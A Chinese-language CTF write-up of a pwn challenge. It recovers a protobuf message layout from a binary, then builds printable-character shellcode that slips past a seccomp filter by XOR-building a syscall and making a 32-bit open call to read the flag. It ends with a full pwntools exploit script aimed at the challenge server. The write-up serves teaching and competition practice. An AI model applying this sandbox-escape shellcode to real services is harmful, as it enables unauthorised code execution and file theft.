只能接受特定格式的msgbot-protobuf+可见字符shellcode
顾一莘 发表于 江苏 二进制安全 321浏览 · 2024-10-13 09:53

本题来源于源鲁杯第一轮pwn的困难题,向程序发送了msg之后会判定是否符合proto结构,符合则开启沙箱仅允许执行read、write、fstat、alarm、exit_group,并执行msg里的shellcodeshellcode要求范围在可见字符且长度不大于0xc7

protobuf结构体

前置基础

protobuf结构体/proto文件示例

protobuf结构体示例:device.proto,由protobuf版本(proto2 / proto3)和protobuf结构体构成

syntax = "proto2";

message devicemsg {
  required sint64 actionid = 1;
  required sint64 msgidx = 2;
  required sint64 msgsize = 3;
  required bytes  msgcontent = 4;
}

protobuf参数的结构体定义

protobuf参数的结构体定义如下,其中需要注意的是前四项,在.data.rel.ro段中可以看到每个参数的结构体,根据结构体中的值判断参数类型等信息,从而分析得到protobuf结构体

struct ProtobufCFieldDescriptor {
    const char      *name;
    uint32_t        id;
    ProtobufCLabel  label;
    ProtobufCType   type;
    unsigned        quantifier_offset;
    unsigned        offset;
    const void      *descriptor;
    const void      *default_value;
    uint32_t        flags;
    unsigned        reserved_flags;
    void            *reserved2;
    void            *reserved3;
};

以示例中的required sint64 actionid = 1;为例,分别对应结构体前四项:name值为actionidid值为1label值为requiredtype值为sint64即在编写proto文件时是按照label type name = id的顺序写的

label存在以下类型,即requiredoptionalrepeatednone,从单词含义也能看出对应什么类型,他们表现在.data.rel.ro中的数值是按枚举顺序0-3只有版本为proto2时才需要考虑labelproto3label都是none(即数值为3)且不需要在proto文件中写出来

typedef enum {
    PROTOBUF_C_LABEL_REQUIRED,
    PROTOBUF_C_LABEL_OPTIONAL,
    PROTOBUF_C_LABEL_REPEATED,
    PROTOBUF_C_LABEL_NONE,
} ProtobufCLabel;

type存在以下类型,他们表现在.data.rel.ro中的数值是按枚举顺序0-0x10

typedef enum {
    PROTOBUF_C_TYPE_INT32,      /**< int32 */
    PROTOBUF_C_TYPE_SINT32,     /**< signed int32 */
    PROTOBUF_C_TYPE_SFIXED32,   /**< signed int32 (4 bytes) */
    PROTOBUF_C_TYPE_INT64,      /**< int64 */
    PROTOBUF_C_TYPE_SINT64,     /**< signed int64 */
    PROTOBUF_C_TYPE_SFIXED64,   /**< signed int64 (8 bytes) */
    PROTOBUF_C_TYPE_UINT32,     /**< unsigned int32 */
    PROTOBUF_C_TYPE_FIXED32,    /**< unsigned int32 (4 bytes) */
    PROTOBUF_C_TYPE_UINT64,     /**< unsigned int64 */
    PROTOBUF_C_TYPE_FIXED64,    /**< unsigned int64 (8 bytes) */
    PROTOBUF_C_TYPE_FLOAT,      /**< float */
    PROTOBUF_C_TYPE_DOUBLE,     /**< double */
    PROTOBUF_C_TYPE_BOOL,       /**< boolean */
    PROTOBUF_C_TYPE_ENUM,       /**< enumerated type */
    PROTOBUF_C_TYPE_STRING,     /**< UTF-8 or ASCII string */
    PROTOBUF_C_TYPE_BYTES,      /**< arbitrary byte sequence */
    PROTOBUF_C_TYPE_MESSAGE,    /**< nested message */
} ProtobufCType;

判定protobuf版本

  • 根据结构体参数数量和实际数量是否一致判断

    .data.rel.ro段的结构体名下面两项分别是结构体大小和结构体参数数量,proto2proto3多了default_value字段,所以参数数量会比实际参数数量多一个

  • 根据参数结构体有无label

    proto2中必须声明参数的label,所以label值存在除none(即3)以外的值就是proto2

编译proto文件

使用python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. filename.proto来编译filename.proto,需要先安装grpcio-tools,编译后得到filename_pb2.pyfilename_pb2_grpc.py,编译后在exp中导入filename_pb2即可使用结构体来发送消息

编译后的结构体会比原结构体多ProtobufCMessage base;ProtobufCMessage结构体定义如下:

struct ProtobufCMessage {
    const ProtobufCMessageDescriptor    *descriptor;
    unsigned                            n_unknown_fields;
    ProtobufCMessageUnknownField        *unknown_fields;
};

所以编译后我们定义的参数在数组中的下标是从3开始的

使用pbtk获取protobuf结构体

工具地址:https://github.com/marin-m/pbtk

使用工具可以快速获取protobuf结构体省去手搓proto文件的麻烦,安装的时候有报错可以直接问gpt解决,但是有的题目被作者刻意隐藏了protobuf特征而无法用工具梭,还是需要手搓

结构体分析

IDA中找到了_data_rel_ro段,name;右边,下面第一个数值为id2-5label6-9type,对应枚举中的类型可以得到结构体参数的类型,这里一共有msgidmsgsizemsgcontent三个参数,而qword_3C60结构体名称下面的结构体参数数量也是3,所以protobuf版本为proto3

.data.rel.ro:0000000000003B80 _data_rel_ro    segment align_32 public 'DATA' use64
.data.rel.ro:0000000000003B80                 assume cs:_data_rel_ro
.data.rel.ro:0000000000003B80                 ;org 3B80h
.data.rel.ro:0000000000003B80 off_3B80        dq offset aMsgid        ; DATA XREF: .data.rel.ro:0000000000003C98o
.data.rel.ro:0000000000003B80                                         ; "msgid"
.data.rel.ro:0000000000003B88                 db    1#id=1
.data.rel.ro:0000000000003B89                 db    0
.data.rel.ro:0000000000003B8A                 db    0
.data.rel.ro:0000000000003B8B                 db    0
.data.rel.ro:0000000000003B8C                 db    3#label=none
.data.rel.ro:0000000000003B8D                 db    0
.data.rel.ro:0000000000003B8E                 db    0
.data.rel.ro:0000000000003B8F                 db    0
.data.rel.ro:0000000000003B90                 db    3#type=int64
                                    ...
.data.rel.ro:0000000000003BC8                 dq offset aMsgsize      ; "msgsize"
.data.rel.ro:0000000000003BD0                 db    2#id=2
.data.rel.ro:0000000000003BD1                 db    0
.data.rel.ro:0000000000003BD2                 db    0
.data.rel.ro:0000000000003BD3                 db    0
.data.rel.ro:0000000000003BD4                 db    3#label=none
.data.rel.ro:0000000000003BD5                 db    0
.data.rel.ro:0000000000003BD6                 db    0
.data.rel.ro:0000000000003BD7                 db    0
.data.rel.ro:0000000000003BD8                 db    3#type=int64
                                    ...
.data.rel.ro:0000000000003C10                 dq offset aMsgcontent   ; "msgcontent"
.data.rel.ro:0000000000003C18                 db    3#id=3
.data.rel.ro:0000000000003C19                 db    0
.data.rel.ro:0000000000003C1A                 db    0
.data.rel.ro:0000000000003C1B                 db    0
.data.rel.ro:0000000000003C1C                 db    3#label=none
.data.rel.ro:0000000000003C1D                 db    0
.data.rel.ro:0000000000003C1E                 db    0
.data.rel.ro:0000000000003C1F                 db    0
.data.rel.ro:0000000000003C20                 db  0Fh#type=bytes
                                    ...
.data.rel.ro:0000000000003C60 qword_3C60      dq 28AAEEF9h            ; DATA XREF: sub_1819+10o
.data.rel.ro:0000000000003C60                                         ; sub_187D+17o ...
.data.rel.ro:0000000000003C68                 dq offset aBotMsgbot    ; "bot.msgbot"
.data.rel.ro:0000000000003C70                 dq offset aMsgbot       ; "Msgbot"
.data.rel.ro:0000000000003C78                 dq offset aBotMsgbot_0  ; "Bot__Msgbot"
.data.rel.ro:0000000000003C80                 dq offset aBot          ; "bot"
.data.rel.ro:0000000000003C88                 dq 38h#结构体大小
.data.rel.ro:0000000000003C90                 dq 3#字段数=实际字段数,是proto3
.data.rel.ro:0000000000003C98                 dq offset off_3B80      ; "msgid"
.data.rel.ro:0000000000003CA0                 dq offset unk_20A0
.data.rel.ro:0000000000003CA8                 dq 1
.data.rel.ro:0000000000003CB0                 dq offset unk_20B0
.data.rel.ro:0000000000003CB8                 dq offset sub_1819
                                    ...
.data.rel.ro:0000000000003D17 _data_rel_ro    ends
.data.rel.ro:0000000000003D17

编写和编译proto文件

根据以上分析编写bot.proto 内容如下

syntax = "proto3";

message Msgbot{
    int64 msgid = 1;
    int64 msgsize = 2;
    bytes msgcontent = 3;
}

python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. bot.proto编译得到bot_pb2.pybot_pb2_grpc.py,在exp中导入bot_pb2即可使用bot_pb2中的Msgbot来发送题目特定格式的消息,需要注意的是发送前需要先用SerializeToString序列化

from bot_pb2 import Msgbot
import grpc

msg = Msgbot()
msg.msgid = id
msg.msgsize = size
msg.msgcontent = content
serialized = msg.SerializeToString()

r.sendafter(b'botmsg', serialized)

程序分析

在发送的消息能被正确接收之后当msg[0][3] == (void *)0xC0DEFEEDLLmsg[0][4] == (void *)0xF00DFACELLmsg[0][5] <= 0xC7时将msg[0] + 6复制到dest中作为shellcode执行,msg[0][3]就是msgidmsg[0][4]msgsizemsg[0] + 6msgcontentmsg[0][5]获取了msgcontent的长度

else if ( msg[0][3] == (void *)0xC0DEFEEDLL && msg[0][4] == (void *)0xF00DFACELL )
  {
    v0 = (unsigned int)msg[0][5];
    v1 = msg[0][6];
    check((__int64)v1, v0);
    seccomp((__int64)v1, v0, v2, v3, v4, v5);
    if ( msg[0][5] <= (char *)&qword_C0 + 7 && v7 <= 0xC7 )
    {
      memcpy(dest, *((const void **)msg[0] + 6), (size_t)msg[0][5]);
      ((void (*)(void))dest)();
    }
  }

所以可以构造结构体如下

from bot_pb2 import Msgbot
import grpc

msg = Msgbot()
msg.msgid = 0xC0DEFEED
msg.msgsize = 0xF00DFACE
msg.msgcontent = shellcode
serialized = msg.SerializeToString()

r.sendafter(b'botmsg', serialized)

check函数对shellcode进行了检查,限制shellcode在可见字符范围内

for ( i = 0; ; ++i )
  {
    result = i;
    if ( v3 <= i )
      break;
    if ( *(char *)((int)i + a1) <= '\x1F' || *(_BYTE *)((int)i + a1) == '\x7F' )
    {
      puts("Oops!");
      exit(0);
    }
  }

写shellcode

调试shellcode的时候用si不要用ni!!

检查沙箱

通过check之后开启沙箱,所以要执行到发送正确的消息之后才能用seccomp-tools查看沙箱情况,这里可以将process的参数设置为seccomp-toolsr = process(["seccomp-tools", "dump", "./pwn"]),发送完msg就会显示沙箱的情况

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0003
 0002: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0009
 0003: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0009
 0004: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0009
 0005: 0x15 0x03 0x00 0x00000005  if (A == fstat) goto 0009
 0006: 0x15 0x02 0x00 0x00000025  if (A == alarm) goto 0009
 0007: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW

这里限制了只能使用read write fstat alarm exit_group,程序是64位的,而fstat32位中对应的函数就是open,所以可以使用32位的open64位的read write

构造syscall

限制了可见字符且限制长度的情况下第一步就需要先构造一个read无限制的再读一次,而syscall的汇编字节是0x0f05不在可见字符范围内,所以需要通过异或构造,需要注意端序问题,小端序要反过来写进去,即0x050f,写在shellcode末尾用来异或的数值也要反过来写,我选择的是0x66666963 ^ 0x66666c6c = 0x50f,构造shellcode如下

push 0x66666963
pop rsi
xor qword ptr [rax + 0x20], rsi
push rbx
pop rdi
xor al, 0x22
push rax
pop rsi
push 0x66666963
pop rdx
push rbx
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
\x6c\x6c\x66\x66

架构切换调用open

使用汇编指令retfq切换架构,原理是改cs寄存器,当cs寄存器的值为0x33时识别为64位,当寄存器值位0x23时识别位32位,而retfq指令相当于pop ip; pop cs,所以需要先push cspush需要执行的指令地址最后retfq切换架构

不过其实我没切换直接写32位的shellcodeint 80实现系统调用也能执行open...shellcode如下

mov  eax, 5
push ecx
pop  ebx
mov  dword ptr [ecx], 0x6c662f2e
add  ecx, 4
mov  dword ptr [ecx], 0x6761
xor ecx, ecx
xor edx, edx
int  0x80

exp

from pwn import *
from bot_pb2 import Msgbot
import grpc

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

debug = 0
if debug:
    r = remote('challenge.yuanloo.com', 21231)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

'''
push 0x66666963
pop rsi
xor qword ptr [rax + 0x20], rsi
push rbx
pop rdi
xor al, 0x22
push rax
pop rsi
push 0x66666963
pop rdx
push rbx
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
\x6c\x6c\x66\x66
'''

msgcontent = b'\x68\x63\x69\x66\x66\x5e\x48\x31\x70\x20\x53\x5f\x34\x22\x50\x5e\x68\x63\x69\x66\x66\x5a\x53\x58' + b'\x50' * 8 + b'\x6c\x6c\x66\x66'

msg = Msgbot()
msg.msgid = 0xC0DEFEED
msg.msgsize = 0xF00DFACE
msg.msgcontent = msgcontent
serialized = msg.SerializeToString()

r.sendafter(b'botmsg', serialized)

'''
mov  eax, 5
push ecx
pop  ebx
mov  dword ptr [ecx], 0x6c662f2e
add  ecx, 4
mov  dword ptr [ecx], 0x6761
xor ecx, ecx
xor edx, edx
int  0x80
'''

shellcode = b"\xb8\x05\x00\x00\x00\x51\x5b\xc7\x01\x2e\x2f\x66\x6c\x83\xc1\x04\xc7\x01\x61\x67\x00\x00\x31\xc9\x31\xd2\xcd\x80"
shellcode += asm(shellcraft.read(3, 'rsp', 0x30))
shellcode += asm(shellcraft.write(1, 'rsp',0x30))

r.send(shellcode)

r.interactive()
0 条评论
某人
表情
可输入 255